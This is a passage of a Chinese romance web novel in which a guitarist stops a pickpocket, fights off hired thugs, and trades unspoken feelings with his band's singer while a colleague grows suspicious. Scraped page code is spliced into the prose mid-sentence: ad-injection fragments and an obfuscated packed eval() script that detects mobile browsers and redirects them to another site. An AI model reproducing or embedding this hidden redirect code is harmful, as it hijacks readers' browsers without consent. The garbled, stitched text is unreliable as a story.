游星戈过来这边买本书,程际野在酒吧有事,他们就没在一块。 下午的书店很安静,只间有小声的交谈和窃窃私语,游星戈的长腿从一摞还没分类好的书上跨过去,不小心踩到了扎书的白色塑料绳。 书架上一整排一整排放着放着各式各样的书,整齐又赏心悦目,老板趴在柜台边昏昏欲睡。 他随手从上面的架子上拿出来一本书,这时候是下午四点左右,不早不晚的时间,空气里弥漫着木质的书香。 旁边有人穿了过去,戴着鸭舌帽和口罩,这么热的天捂得这么严实,让游星戈没忍住多注意了点。 鸭舌帽男人并没有想到后面有人注意他,他先是往下压了压帽子,朝左右瞥了瞥,在书店里的几个人中挑挑拣拣,才鬼鬼祟祟地出现在前面背着包看书的女生后面。 近一点,往旁边过去一点,手就能伸到了。 这包价格可不便宜,里面的东西肯定更值钱,嘿嘿,这把值大发了。 鸭舌帽男得意的表情还没完全露出来,就有只手出现在他面前,往更高层的书架探去,恰到好处地挡住了他想切开包的手。 好不容易出来干个活的扒手呆了般抬头,看见个卷头发的年轻人正好在拿书,昏黄的阳光打在他的白T恤上,瞥过来的目光表明他早就发现了自己想干什么。 他连忙低下头,往后退了退,趁前面的女生若有所感回头时直直朝着门口溜走。 回过头的女生头上戴着朵小白花,明眸善睐,游星戈这才发现居然还称得上是熟人。 是何艺。 他在培训班和程际野一块来一块走,后来就没怎么和她说过话了,在这里碰见还挺巧的。 何艺显然也发觉了刚刚的事,她愣了下,看着那扒手以极快的速度溜走,才有些没反应过来般拢了拢包。 她又疑惑地抬头,发现了游星戈,差点往后一退:“诶?” 与生俱来的矜持让她很快就掩下了嘴角,明白过来那个鸭舌帽男人是在做什么,很有礼貌地道谢,外加上一句“好巧”。 卷头发青年微不可见地挑了下眉,才继续点了点头。 如果吉他老师也在这里的话,何艺往他身后多看了两眼,试图看到自己熟悉的身影。 结果没有发现,她有些失望地收回了目光。 以前这个卷毛年轻人没来的时候,她还能借着上课和程际野多说几句话,现在游星戈来了后,她就不怎么能插上话了。 关系有这么好吗? 还是说和阿野是很要好的朋友吗? 培训班的琵琶老师打量了游星戈一眼,在心里有自己的考量。 游星戈不知道她在想什么,和女老师聊了几句培训班的事情后就止住了话头,倒是何艺想到了什么,开口问他,是很轻柔的笑意:“阿野前天怎么请假了?他有份谱子忘在了班里,我想抽空给他送去。” 这还是她今天出现在这里的原因。 他们的对话声音很轻,在柜台边趴着要睡不睡的老板看了他们一眼就移开了视线。 何艺看到卷发青年挠了挠头,给出了让她有些吃惊的答案:“给我就行,我住他隔壁。” 关系居然真的这么好吗?何艺紧了紧背着的包。 最后她顿了顿,露出个轻笑:“是嘛,那谢谢你了,阿星。” 游星戈因为她这亲昵的称呼沉默了一瞬。 不过这总比何艺叫他阿戈好,他就轻轻放下了这个问题。 何艺把手伸进花色的包里,从里面拿出那份谱子,递给了游星戈。 头上总缀着朵小白花的琵琶老师有一双棕色眼睛,比起弹琵琶的更像个画家,气质温柔,和游星戈聊了起来,夕阳里又一起出了书店门。 “今天真是谢谢你了,”何艺停在书店门口,温声细语地说,“要不是你,可能东西不见了我都不知道。” 她垂下眼,眼睫毛像是翩飞的蝴蝶一样上下扇动着。 游星戈压根没注意到她此时的表情,他正在想今天晚上没有演出,和程际野出去吃什么好:“没事,只是举手之劳而已。” 说到这里时,他想起来自己把进书店的目的忘了,现在也不好再折回去,就又多陪何艺走了一段路。 何艺的嘴角僵了僵,才故作轻松地去看游星戈,此时的卷发青年虽然眼睛依旧像巧克力河,一本正经的样子,但是目光完全没有落在她身上,嘴角上扬着,不知道在想些什么。 不对,这不符合她的预期。 她对游星戈的第一印象不算差,毕竟很少有人会对一个阳光开朗又会聊天的帅哥生出恶感,但她以为,这人对她多少还是有点意思的,毕竟从小到大过来搭讪的男人不都是这样嘛。 她又搞错了? 何艺停下了脚步。 “怎么了?”游星戈走出两步才反应过来何艺没跟上,回头看她,眉眼间有些疑惑。 何艺挤出来个笑容,轻轻摇了摇头,跟上了游星戈。 只是这样一来,她就没什么心情和游星戈搭话了。 就在她看时间差不多了想要提出告别的时候,忽然听到了后面响起了极轻的脚步声。 吧嗒、吧嗒,是靴子声,一直跟着他们。 何艺低头就能看见那不远不近被太阳拉长的影子,若隐若现出现在地上,她皱起了眉。 她是个年轻女性,深夜回家都会害怕尾随,对这样的声音当然会敏感点。 何艺的脚步没有停下,不动声色地看了眼旁边卷发青年神游天外的表情。 要提醒他吗?不过也有可能是她猜错了。 天边的云彩渐渐变淡了,晕染出来的昏暗压着晚霞,他们挑着走的这条路人不算多,由于城区布局原因,周围巷子也多,很容易就拐进人烟稀少的地方去。 游星戈的脚步在听到后面打火机点燃的声音时顿了一秒。 他当然不可能迟钝到什么都没发现,而且后面尾随的人十分嚣张,简直生怕他们发现不了似的。 从哪里来的人?冲着谁来的?总不能是那扒手气不过叫了人卷土重来吧。 游星戈的嘴角在阴影里弯起了巧妙的弧度。 那他们可就找错人了。 不过——他又看了一眼旁边的何艺,对方好像也发现了,皱着眉头有些忧心——这里还有个看上去不太能打架的无辜人士。 游星戈没有怎么犹豫就开口,仿佛什么都没发觉般:“你先回去吧,我突然想到还有件事。” 何艺惊讶地看向他,发现卷发青年的表情里带着诚挚,意识到游星戈发现了后面有人跟着。 居然想要她一个人先走吗?棕色 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛的琵琶老师有些怔住,内心莫名涌上一股暖流。 游星戈不知道她在想什么,见她半天没动就眨了眨眼。 何艺看见这个眨眼,心里的暖流更甚,灵光一闪就明白了什么。 原来是叫她去搬救兵的意思。 何艺的眼神一凛,郑重地朝游星戈点了点头:“好,我明白了。” 游星戈还没有反应过来她什么意思,头上簪了朵小白花气质出众的琵琶老师给了他一个眼神,踩着低跟鞋就选了条更宽的路走了,脚步匆忙里还带着镇静。 卷发青年困惑地挠了挠头,也没想明白何艺给他的眼神是什么意思。 不过,这样也不错。 他手插口袋,仿佛没发现后面跟着的人,背影在夕阳里挺拔又散漫,像个在城市道路边轧马路的普通年轻人,完全没意识到自己正渐渐被人包围。 ……后面的人还在跟着。 那就是冲他来的。 真以为他很好欺负吗? 游星戈叹了口气。 后面的刀疤男看见他要拐到巷子里,给左右两边埋伏的人递了个眼神,笑得很是得意洋洋。 这小子,压根找不到只有一个人的时候,今天总算是被他逮着机会了。 沉沉的天色压着夕阳,平静中酝酿着风雨欲来的气势。 程际野接到何艺的短信时正在调音响设备,他不演出的时候穿得也不随意,往那一站就是个行走的衣架子,正懒散地倚着酒吧后台的门。 收到那条信息时,他才陡然站直了起来,眉眼顷刻爬上了淡薄的冷意。 “怎么了?”旁边的陈青问他。 程际野握紧了手机,骨节有些泛白,他的声音比他的表情还淬着冷:“我出去一趟。” 陈青没来得及叫住他,只能见到人步伐匆匆地推开了酒吧门。 程际野甚至不知道这背后到底发生了什么,在收到何艺短信的那一刻,他只觉得浑身血液都凝固起来了。 有人想伤害游星戈。 ……伤害他的吉他手,伤害这个他抱有别样心思却不敢触碰的人。 怎么敢的。 他的眉眼间飞快闪过一丝躁意。 被他担忧着的游星戈却颇为悠闲地站在巷子的一边,刚升起的月光清清冷冷地洒在他身上,照得他更加气定神闲。 巷子又深又昏暗,不知道是不是井盖没有扣好的缘故,弥漫着一股下水道酸臭的味道,几个彪形大汉在他脚边捂着头哀嚎,时断时续的怒骂都有气无力,游星戈顺便清点了下人数。 嘛,还挺小看他的,只派了三个,压根不费他什么功夫。 游星戈若有所思,舒展了下揍人有点酸痛的手腕,才低下身,和为首刀疤男的眼睛齐平,他的声音如玉石击泉:“谁派你们来的?” 卷发青年自认脾气好,在祈城没得罪过什么人。 刀疤男的眼神中闪过恐惧,身上的剧痛提醒着刚刚面前人给出他的阴影,他哆嗦了语气,豪横不再:“没、没谁。” 游星戈皱了下眉。 身后又响起了脚步声,他下意识回头去看。 是程际野。 他的主唱浑身气压极低,在月光下,表情看不清楚。 游星戈站起来,看了眼地下躺着的人,思考在男主面前突然站不稳变虚弱的可能性。 最后他遗憾地放弃了这个念头。 于是他打了个很是灿烂的招呼:“哥。” 他这句话还没说完,程际野就上前先给了他一个用力的拥抱。 像是下一秒他就会在程际野面前消失般那样的用力。 这拥抱太紧了,游星戈都能感觉到他的黑发蹭在脖子上,带着主人也没意识到的剧烈的情感波动。 游星戈弯起眼睛,摸了摸程际野的头发。 18. 感情 一截白裙子的身影停在巷子口,棕色眼睛的琵琶老师有些怔愣地止住了脚步。 她、她看到了什么? 主唱抱着他的吉他手,月光下仿佛头发丝都缠在了一起,旁边几个混混时隐时现的呻吟声充当着背景音,完全被忽略了个彻底。 何艺的目光在混混面前停留得更久,压根不敢往程际野那边看去。 这两个人的关系好得超出她的预期,隐隐往不可预料的方向发展,让她头皮都麻了起来。 属于女性敏锐的直觉让她意识到了什么,眼皮猛地一跳。 游星戈没有想到男主会来,这个拥抱让他的心情很不错,面上却有些苦恼地皱起眉:“遇到点小麻烦。” 声音很轻,也很近。 程际野这才发现自己给游星戈的拥抱太紧太重,面色僵了僵,随后才故作轻松地松了手。 “你没事吧?”他的声音有点低,游星戈总觉得这里面带了点什么。 那浓烈的、被压抑的感情,此时就要溢出来了。 游星戈弯起眼睛:“没事,变成他们遇到麻烦了。” 别的不说,他打架还是很厉害的,只是一直没有什么机会出手展示。 那几个混混听到这话,在冷风中狠狠地一哆嗦,为首的刀疤男死活没想到自己两个目的一个也没达到,眼睛都红了也不敢继续骂下去。 真的,谁也没想到这小子下手这么重。 程际野这才将视线转移到几个混混身上,身上还挂着淤青的刀疤男强忍着痛要爬起来,嘴里哆嗦道:“我们不是故意的,是误会、误会!” 他这话还没说完,程际野就来到了他的面前,脚还相当不经意地踩过了另一个躺在地上的黄毛的手,疼得人吱哇乱叫。 黑发青年的神色很淡,低下身和刀疤男的眼睛齐平:“我认得你。” 他更年轻的时候脾气不太好,打架打得也狠,尤其对这些动不动爱收保护费仗势欺人的□□,动起手来更是毫不犹豫,虽然这两年脾气和缓了不少,但这么点地下的人,他还是记得住的。 那双漆黑的眼睛让一向欺行霸市的刀疤男都不敢对视,他在心里怒骂沈质居然不早告诉他们这次对象这么难搞,让他们栽了这么大个跟头,面上却露出个讨好的表情:“不是,哥,真是误会。” 程际野揪住他的衣领,力度不轻不缓地提起来又放下去,然后才踩了上去:“不好意思,也是误会。” 刀疤男发出一声痛苦的哀嚎,在心里崩溃地怒骂沈质。 游星戈很少见到程际野这么发火,永远懒散又游刃有余的主唱现在看起来脾气有点差,实在不好接近。 然而这并不包括游星戈,卷发青年扬起一个明朗的笑,语气很自然地问刀疤男:“你不会是那个扒手找来的吧。” 什么跟什么?他压根不知道什么扒手。 事到如今,他总不能把雇主出卖了,于是刀疤男含着热泪拼命点头:“是他,就是他。” 那就不是扒手。 游星戈若有所思:“你想进局子吗?” 刀疤男面上表情一滞,露出畏缩的神色,内心却在暗暗窃喜。 混在这地头怎么多年,他怎么可能怕这个,只要这里放过他,没监控到局子还不是他说了算,咬死是误会就行,就算到头来真的被扣了,走点关系不就出来了嘛,祈城这百疏没密的地方,他横着走还不是妥妥的。 程际野挑了挑眉,很干脆地开口:“这样吧,我们做个交易。” 他稳稳踩在人的脖子边,刀疤男哪有不敢答应的道理,哭丧着脸听完交易内容,脸上被揍出来的眼泪都飙出来了。 最后刀疤男顶着张鼻青脸肿的脸战战兢兢地听完后,昏暗的巷子里只能听到程际野带着点散漫的话:“你可以走了。” 他甚至没用滚这个词。 压根没想到自己会失败豪得不行的刀疤男没想到自己会一连碰上两个硬茬,连忙带着小弟屁滚尿流地跑了,出巷子口时还差点撞到个原本站在那里的女人,刀疤男回头恶狠狠地剜了女老师一眼。 何艺攥紧了手里的手机。 游星戈来祈城不久,对这里地头的规矩还不熟悉,顺嘴就问了程际野:“你怎么知道他一定会按照约定做?” 程际野的目光在他的脸上顿了顿,才从口袋里掏出来个录音笔:“有这个。” 录音笔是给警察的,他并非不知道这群人牢底坐不穿,但他还有其他法子。 他看了游星戈一眼,手里的笔往下压了压。 有些东西,不太适合放在明面上给他的吉他手讲。 何艺越看越感觉不对劲,这两个人的相处模式完全超出她的预想,让她心里弥漫起更浓的疑惑,但是她不好开口,最后只能硬着头皮说出来句:“是我发的短信。” 她是给游星戈的解释,虽然没想到最开始她可能误解了游星戈的意思,这人摆明了一个人就能处理好,但是她报信应该也没做错什么。 游星戈挠了挠头,语气很诚挚:“那今晚谢谢你了。” 不然他还不知道男主发起火来是这样的。 他隐下了嘴角的笑意。 程际野将目光移到琵琶老师脸上,在头上那朵小白花上停留了一秒才点了点头。 他和何艺算不上熟,对她的印象停留在同事身上,除了话挺多之外没有什么别的更深刻的记忆点。 但很明显,游星戈和她刚刚是走在一起的。 很熟吗? 程际野的手在口袋里摩挲了下录音笔,才面不改色地移开了视线。 何艺又多看了他们俩好几眼,被这完全插不进去的气氛压得要窒息了,最后只好露出个温温柔柔的笑:“说起来,这件事真奇怪,那些人看着也不像是冲着钱来的。” 确实不是,游星戈刚被包围时能感觉到比起抢钱什么的,更多的是冲着他的人,尤其是拿刀总想往他手边砍。 可惜一脚被他踢出去了。 说起来这还算是证据。 他捡起来那把刀往怀里揣,何艺看着那刀,表情都变得有些苍白。 要是游星戈真手无缚鸡之力,这刀砍下去得落个半残。 偏偏卷发青年扬起来个笑:“别的不说,刀口不错,拿回去切菜。” 其实从刚才他就隐隐约约猜到了一点,那几个混混冲着人来,在祈城和他有交集又能干出这事的人,无非就是那个谁。 在书里沈质也干过差不多的事情,因为对男主打扰过他的好事深有不满,派人堵过程际野,只是没想到这下变成他了。 程际野开口:“给我吧。” 游星戈犹豫了两秒就递给了他,顺便还能开个玩笑:“你刀工比我好。” 心大莫过于此。 何艺眼神有点复杂地看了眼他们,不知道想到了什么,头上的花迎风飘着,她语气温和地眨了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 眨眼:“如果后续报警需要我的话,我可以随时出来作证。” 说完这话,她又瞄了眼程际野,黑发的主唱微微颌首,同她礼貌地道谢。 是两种完全不同的态度。 她心里泛酸,心想就算是再好的兄弟,这关系也太超过了吧。 哪有会那么紧抱着自己的朋友的。 怀着这样的想法,她提出了告别,卷头发的青年还最后还朝她挥手,很友好的模样。 巷子里下水道的味道在晚上格外浓烈刺鼻,月光却很漂亮,连从下水道里钻出来的虫子都在井盖边顿住了,程际野看着他的腕骨,月光下白的不成样子。 “没伤。”游星戈注意到还摊了摊手给他看。 那确实是完好的不带一点伤口的手腕,程际野却飞快地移开了视线。 他的语气很自然:“没伤就行。” 他其实想问问何艺和他什么关系,又不知道以什么立场问。 不管怎样,这个问题问出口都有些微妙。 毕竟说好的朋友,那就要止步在这里。 程际野抿了抿嘴角,内心有点酸涩。 就算是他所想的那个答案,他也没有任何立场去责问或者做些什么。 游星戈不知道他想到哪里去了,自己倒突然想起来那份谱子。 他将躺在单肩包里的谱子拿出来递给程际野:“刚刚何艺给我的,你上次去培训班落在那里的。” 程际野沉默了下,话题滑到另一个方向:“你和她关系很好?” 卷发青年却抬头看了他一眼,眼神很困惑。 程际野这才发觉自己的问题问得有些突然。 语气也是让人无法忽视的微妙。 然而游星戈只是在心里吃惊,原来何艺喜欢他这件事男主压根就没发觉。 他并不怎么讨厌何艺,毕竟何艺在书里并没有做过什么坏事,是小说里点缀出来的绿叶配角,最后又心碎收场。 他最多不喜欢这样设定的情节,毕竟真正出现在他面前的人都是有血有肉的。 他抬头去看男主的表情,在浓重的夜色里,他突然意识到了什么。 程际野问他这个问题时在想什么。 鬼使神差地,他开口:“是同事而已。” 周围城区的霓虹灯和月光混在一起打下来,空气里弥漫着旧城区微微发霉的酒窖的味道,卷发青年深栗色的眼睛仿佛也带着醉人的酒的浓郁醇香。 程际野在其中捕捉到了很轻的笑意,很快又散开了,像从来没出现过一样。 他心中微怔,无意识攥紧乐谱的手放松了点。 这个人回答他的时候,有没有意识到这个问题的微妙之处? 他对不太留意的人不怎么细究,但是游星戈是不一样的,他试图在他身上找到确定的东西。 一些可以确定的东西,才能够支撑起他维持表面的关系。 不然他也不知道怎样算过火。 翻涌在他心里的情绪十分复杂,但他还是不露声色地垂下眼,声音在夜色里蜻蜓点水般轻:“嗯。” 分明他不能再往前走一步,可还是想试图从青年的反应里找到不同的东西。 徒劳无功或者自欺欺人,他不在意。 他只是想知道,有没有那么一点可能。 那么一点点。 让他能够找到理由坦然地开口,说他不满足于朋友这个关系。 19. 窒息 祈城城南最近格外乱,不少涉及黑恶嫖赌的势力都被一锅端了,警灯蓝红相间的光横冲直撞照进了不少户人家。 在这其中,发生那么一两件斗殴把人揍进医院的事情就不足为奇了,只是南平巷子里不少人奇怪以往爱在这里晃荡的几个纨绔子弟最近怎么都不见了踪影。 他们没注意到其中有个莫名躺进了医院,自然也不会注意到有群爱收保护费的恶势力被反手弄进了更上头的局子。 暗波汹涌之上是一片宁静,连阳光都带着夏天那股明媚酷热的劲儿,从云层穿进来刺破了灰尘蒙蒙的空气。 培训班的琵琶老师最近常常看着窗外的阳光出神,在想那天晚上的感觉究竟是怎么回事。 因为这个,她在培训班里看的人都不再局限在程际野身上,有往卷毛的吉他老师身上移的趋势。 越看她心里的感觉越奇怪。 单看相处,这两个人关系融洽,相处了十八年的好兄弟来了也得说这就是他们的写照,决不能断言他们关系不好,感觉上也没有其他可供人遐想的地方。 但是何艺就是觉得不对。 每当卷毛青年转身摆弄什么东西时,背后刚刚还在和他无比自然说话的程际野的眼神就变了,那是何艺从来没有在他身上见过的眼神,她甚至无法用自己的词库表述出来。 再或者,程际野上课的时候,卷毛青年总挑着间隙在门口倚着墙看他,何艺也很难说吉他老师勾起嘴角莫名其妙在笑什么。 这两个人中间有一种旁人难以插足进来的气氛。 就好像有什么东西是只有他们两个知道的一样。 说起来,何艺并不算是一个对他人情绪很迟钝的人,只是一时之间很难往那个最有可能的方向想。 这是这个年代的通病。 她知道程际野和刘英关系很熟,因为这个选择了有意无意向刘英打探,熟料有一张年轻的脸和小肚子的老板从算盘里抬起头,脸上的表情很是茫然:“你说什么?” 他压根什么也没发觉。 这差点让何艺对自己的直觉产生了怀疑。 但她扣住了手,视线往琴房移去,看到在那里不知道在讨论什么的两个人,还是选择相信自己内心的感觉。 那种浮动在空气里的情感,若隐若现般,都快要缠进她的心里。 明明她不是当事人。 何艺隐隐觉得这背后必定有什么,而她必须要知道。 这么想着,她的视线不知不觉间又向琴房投去。 游星戈此时站姿随意,胳膊正往后搭在小柜子上,和程际野讨论某首歌,刚要开口继续说的时候就感觉到了琴房玻璃外来自何艺的目光。 他挑了挑眉,朝她露出了个友好的笑。 虽然不知道琵琶老师在想什么,但是最近投来的视线也太过频繁了吧 游星戈在心里若有所思。 “我该去上课了。”他转而侧过头对程际野开口。 再不上课,他的那群学生们就该在班里搅风搅雨了。 程际野没留意到何艺此时投来的目光,因为和游星戈说话时他就有些难以注意到周围的事。 他看着这个人在他点头之后离开,卷发在空气里以一种自然的角度随风垂落,像是抓不住的云彩。 他的吉他手大概有一种总让人想要把目光投注在他身上的那种神采飞扬的劲儿。 程际野没忍住露出个眷恋的眼神,黑沉色的眼睛里酝酿着某种说不出的浓烈的情绪,却又带着小心翼翼的珍重。 他的指尖在身侧微不可见地动了动。 而此时隔着半透明的玻璃窗,何艺看到了他的眼神。 ! 她差点以为自己看错了,心头涌上一股荒谬的感觉。 这下程际野也注意到了她的目光,看过来的时候眼神中那种特别的情绪色彩已经褪去,隔着玻璃,狭长极深的眼睛里只带着正常的、礼貌的社交距离。 和刚刚天差地别。 她终于能够找到词形容程际野的眼神了。 头上戴着白绒花的琵琶老师牙齿抵住了口腔,忍住内心的颤栗才朝程际野点了点头。 她压根不知道接下来目光往哪里放,只好随手慌乱地从旁边拿出本册子,假装翻着的时候内心还有点不敢相信。 随手翻过来的册子是本杂志,她当然看不进去。 想着刚才的场景,她的内心才恍然大悟。 她拿不下程际野,不是因为她不够漂亮,也不是因为她太矜持放不下面子去追人,而是因为她压根就想错了。 程际野是个同性恋。 就算不是,起码他们之间确实浮动着暧昧,那程际野就不可能再爱上个女人了。 这真的。 ……太荒谬了。 何艺说不清楚自己内心到底什么感情,她看到程际野的第一眼,就不自觉地被他吸引,她甚至说不清楚为什么。 她只能感觉到仿佛是冥冥之中自有天意。 现在却告诉她天意是错的。 何艺合上了杂志,怔了片刻,最后涌上心头的居然是释然。 原来如此。 最近一直困扰她的问题解决了,这种感觉居然冲淡了随之而来的失落与遗憾。 原来不是她没有魅力,何艺这么想着。 她低头看着杂志的封面,又最后将它随手放了回去,回头再看到老板那张脸时内心已经由动荡不安恢复为平静。 刘英问她:“你最近对新来的吉他老师怎么这么关注?” 他挑着眉,隐隐露出个带着点揶揄的笑。 何艺不好说他想的和现实十万八千里,她只叹了一口气:“以后我遇到喜欢的,一定会先问他一个问题。” 刘英摸不着头脑地问她:“什么问题?” 何艺摇了摇头,没有接着往下说。 这边游星戈正在试图对付他正在教的小孩,这群来学吉他的小孩都不过十几岁,他年轻,这群小孩更是青葱,每天的功课做完还要抬头眨着无辜的眼睛开始问出一些捣乱的问题。 尤其爱问他们阳光好脾气的老师那种刁钻得回答不出来的问题。 都快要下课了,班里平时吉他练得最好的那个小女孩还坐在位子上,举着手规规矩矩地仰头,问出来的问题却不怎么规矩:“老师,你会写情歌吗?” 此时程际野在门口等他,眉眼散漫,黑发加重了他五官的深邃,显出一点溢出来的压迫感。 游星戈看了他一眼,含着笑对短发的女孩说:“你们程老师写情歌比我写的好。” 尤其是词,有时候他在词里会发觉程际野是个心思很细腻的人。 和这人有时略显锋利的外表不太一样。 他这句话说完,很明显感觉到在门口的程际野的动作顿了下。 而短发女孩接着又露出个好奇的表情:“那老师能不能告诉我你们在哪演出啊?” “刘英告诉你们的?”游星戈没想到这小孩知道,只和她说,“未成年不能进酒吧。” 他当时差点都因为长相被拦下了,更何况这还是货真价实的未成年。 卷发青年说这话时倒一本正经,完全看不出平时柔软的样子。 程际野从门边走进来,认识他的学生还和他打招呼,得到了他淡淡的回应。 游星戈和小女孩说再见,才走到程际野旁边:“走吧。” 小女孩在后面看着他们离开的背影,还捧着脸故作大人样,有些郁闷地说:“完全不是一个态度。” 她觉得程老师和游老师比起来有点没那么好相处。 此时完全不知道自己被学生吐槽了的程际野正和游星戈往外面走,在楼梯角还遇到了何艺。 今天的琵琶老师神情相当复杂,想要说什么又没能开口,最后只能维持在一个礼貌的点头上。 她觉得自己像是发觉了个惊天大秘密一样,一时间都不敢和程际野对视,只好多看了几眼游星戈。 ……好吧,光从长相上来说真的无可指摘。 程际野看着她把视线落在游星戈身上,完全没有停止注视的意思,他微微颌首,却也没多说什么。 从某个角度来说,他没有不让别人看他的吉他手的权利。 游星戈不是他的什么,不是能私有收藏的物品,不是能够相爱的人,藏不起来又放不下,只能做个朋友远远看着。 他这么想着,内心却还是有些闷。 占有欲是程际野情感里很微弱的那部分,只是偶尔,这种感情依旧会钻进他的心里。 琵琶老师和他们说了再见,有小肚子的老板趴在台子上半睡不睡,看上去有点萎靡,和他们挥手都有气无力。 街角的空气里弥漫着淡淡白兰花的香气,祈城的夏天并不多雨,只是燥热难耐,让空气里都带了点潮。 夏天好像所有人都在打瞌睡,梧桐树上的叶子点缀着金光,安静得让人昏昏欲睡。 他们在路边走着。 黑发的主唱心里同样酝酿着极薄的闷,最后不知道想起了什么,又和他解释了一遍沈质的事。 其实他已经不怎么卷进祈城地下的事情了,只是这次实在过分。 他的嘴角抿起:“你知道是谁做的吗?” 卷发青年摇摇头:“不知道。” 其实他猜的出来,只是不知道沈质那家伙被整得到底怎样,在书里这位也是不干人事,后来还犯事进去蹲了两年。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13631681|143577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在被自己找的人揍了一顿,大概有一段时间不会干坏事了。 程际野没有接着往下说,金色的碎光洒进他的头发里,黑金相缠。 有的东西离卷发青年太过遥远了,让他不知道该怎么和他说。 马路边传来清楚的鸣笛声,像是个无限延长的音符。 他们下午依旧有排练,空气里浮动着快生潮的热,像是要泼暴雨一样的压抑。 排练结束陈青和李钴先走了,查尔斯非要拉着他们在排练室看DVD,结果那是个主题记录片,枯燥无比,金发小辫的鼓手看着看着就头直点,最后毫无意外地在一边睡着了。 游星戈试着接受它,虽然里面浮华的歌舞和劣质的音响确实让人看了想打瞌睡,但是游星戈有点强迫症,打开点什么东西就必须要把它看完。 嗯,他是个有始有终的人来着。 程际野在旁边转着瓶盖,游星戈能感受到他看得并不专心,视线时不时就要移到他身上。 ……可能也有这个纪录片真的很难看的原因。 热得都快蒸出潮湿的房间里,只有DVD碟播放时昏蓝色的光,明明暗暗,讲述着上个世纪的摇滚历史,英伦入侵、性解放运动和年轻一代的反叛精神混在一起,虽然讲解得很一般,但是音乐还可以接受。 房间里并不明亮,窗帘拉着,隔音板做得很好,外面的噪声也传不到里面来,寂静得让人心悸,他们窝在一个沙发里,沙发里的海绵蓬蓬地凸出柔软的弧度,挨得很近,但程际野也没有移开。 毕竟换个位置这样的动作也太不自然了。 查尔斯在旁边靠着沙发睡得很香,大有一觉睡到天荒地老的架势。 游星戈喝了口水,然后打了个哈欠,将头靠向了程际野一边,卷发纠缠在沙发的边缘和程际野的肩头,那种被阳光晒透了的味道又充斥在其间,钻进鼻腔里,想忽视都忽视不掉,程际野将目光挪向了电视机,手无意识地握紧了,深呼一口气后才放松了身体。 只是,他实在没忍住把视线落在青年的手上,那只手握着水杯自然地压着沙发,平时弹吉他时灵活又有力量的手指指尖弧度流畅,被杯子里的水映出了点透明感。 程际野伸手抽出了杯子,动作并不快。 深栗色眼睛的年轻人疑惑地看向他:“你要喝?” 他这话问得无比自然,程际野偏偏顿住了。 最后他垂下眼,在窗帘拉上的昏暗房间里轻声开口:“很危险,会洒。” 他只有轻微的算不上严重的洁癖,朋友之间喝一口对方的水好像也是正常的行为,只是他做不出来。 因为很危险。 程际野把水杯放回了桌子上,杯底落到玻璃上发出轻轻的脆响。 卷发青年于是侧回头,继续看着面前的电视,DVD播放着一些翻过来的六十年代的片段,画面黑白,里面笑闹的人群声音也遥远,他的卷毛脑袋朝程际野边上拱了拱,他坐得向来随意,热源接触的地方很温暖,甚至到了燥热的地步。 程际野看得心不在焉,手垂在身侧没有要动的迹象,这时候旁边人一点轻微的举动都能引起他的注意,直到讲解突然开始大谈石墙运动与反叛一代的关系,他才将视线投注到电视机上。 这时候还不知道要发生什么的程际野只是因为这个名词才专注了点,甚至因为这个名词背后的含义而有点坐立难安。 直到DVD的画面再一转,碟片压根没有预警,就给出了两个男人接吻的片段,而讲解侃侃而谈的声音也同时响起:“我们可以认为,也就是从这时候开始,摇滚的兴起同样伴随着同性恋文化潮流……” 安静的房间里只有讲解滔滔不绝的声音,游星戈微不可见地挑了下眉。 程际野的心头一滞,眼看着面前的DVD机继续播放,他们之间原本应该有的正常交谈停住了,流淌的气氛变得古怪。 画面持续深入,不知道究竟从哪里扒出来的古旧碟片在莫名其妙的地方开放了一把,画面里不该伸的手都伸了。 一片沉默,房间里除了讲解的声音外落根针都能听见。 程际野感到窒息。 偏偏卷发青年晃了晃腿,继续看着电视,看上去居然还挺淡定。 眼看着下一秒就不能播了,讲解的声音居然比游星戈还淡定,显然和面前的画面不太适配。 依旧是一片沉默,程际野的手开始摸索电视开关。 眼看着画面逐渐往少儿不宜的方向探去,再接下去是真的不能播了。 程际野瞟了一眼卷发青年镇定的表情,内心涌上来点慌乱来,他手脚都不知道往哪里放般试着去找遥控器,眼神对上那画面的时候又调整了下坐姿。 他有点坐立难安。 20. 说不说 他的手将要摸上遥控器时,电视里的讲解背景音已经渐渐往不可控的方向发展了,程际野绷着张镇定的脸按错了键。 他加大了音量,这不知道从哪里淘来的DVD十分不解人意地开始更大声地播放。 黑发俊美的主唱差点没绷着自己的表情,偏偏旁边的游星戈还侧过头露出个略带困惑的眼神:“怎么了?” 卷发青年看向他从沙发缝里摸出来的遥控器,那只即将按下红色关机键的手就顿住了。 程际野突然意识到自己的反应有点大。 他收回了手,面不改色地将遥控器放回了一旁,压下想要清嗓子的欲望开口:“没事。” ……他不应该有这么大反应的。 无论从哪个方面看,他的反应都有点过度。 这分明是一个极为正常的话题,酷儿历史在摇滚乐中从来不是不能提的,宣称自己有双性恋情结甚至是上世纪反叛运动中的潮流,他一下把关机键按了才会让人觉得奇怪。 程际野尽量让自己忘掉刚刚DVD播的差点就不能播的内容,扯了扯嘴角,将视线继续落在了电视上。 庆幸的是,这DVD在大陆能放还是有原因的,这个场景几句带过,后面又变得正常起来,解说的声音也趋于平稳枯燥。 游星戈全程带着副有点困的表情看完,仿佛那一小段和前后格格不入的画面丝毫没有引起他的注意,在解说滑向无聊的时候还打了个哈欠。 所以,觉得是很正常的事情吗? 程际野不动声色地看向他,黑沉色的眼睛里落了点灼灼的光,连主人自己也没发觉。 昏暗房间里弥漫着薯条的味道,程际野的黑发又遮挡了点他的神情,让人一时间不知道这个同样在看着DVD的青年在想些什么。 游星戈注意到了,他又侧过头去看,两个人在黑暗里对视。 